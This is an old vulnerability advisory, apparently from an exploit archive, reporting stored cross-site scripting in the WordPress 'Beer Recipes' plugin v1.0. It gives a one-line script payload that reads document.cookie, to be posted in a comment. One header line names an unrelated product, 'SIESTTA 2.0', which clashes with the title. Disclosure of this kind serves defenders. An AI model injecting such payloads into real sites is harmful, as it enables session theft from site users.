Wordpress Beer Recipes Plugin v.1.0 XSS

# Exploit Title: Wordpress - Beer Recipes v.1.0 XSS
# Google Dork: -
# Date: June / 25 / 2011
# Author: TheUzuki.'
# Software Link: http://opensourcebrew.org/beer-recipes-plugin/
# Version: v.1.0
# Tested on: Windows 7
# CVE : -

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# SIESTTA 2.0 (LFI/XSS) Multiple Vulnerabilities
# download: http://opensourcebrew.org/beer-recipes-plugin/
#
# Author: TheUzuki.' from HF
# mail: uzuki[@]live[dot]de
#
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
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#
# Notes: You need to be User at the Wordpress Board
#
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--Description of Wordpress Plugin--

Creates a custom post type for easily entering beer recipes into WordPress

--Exploit--

By Commenting a Beer Recip, with a javascript, the Javascripts,gets executed directly.
This causes a XSS.

--PoC--

<script>alert(document.cookie)</script>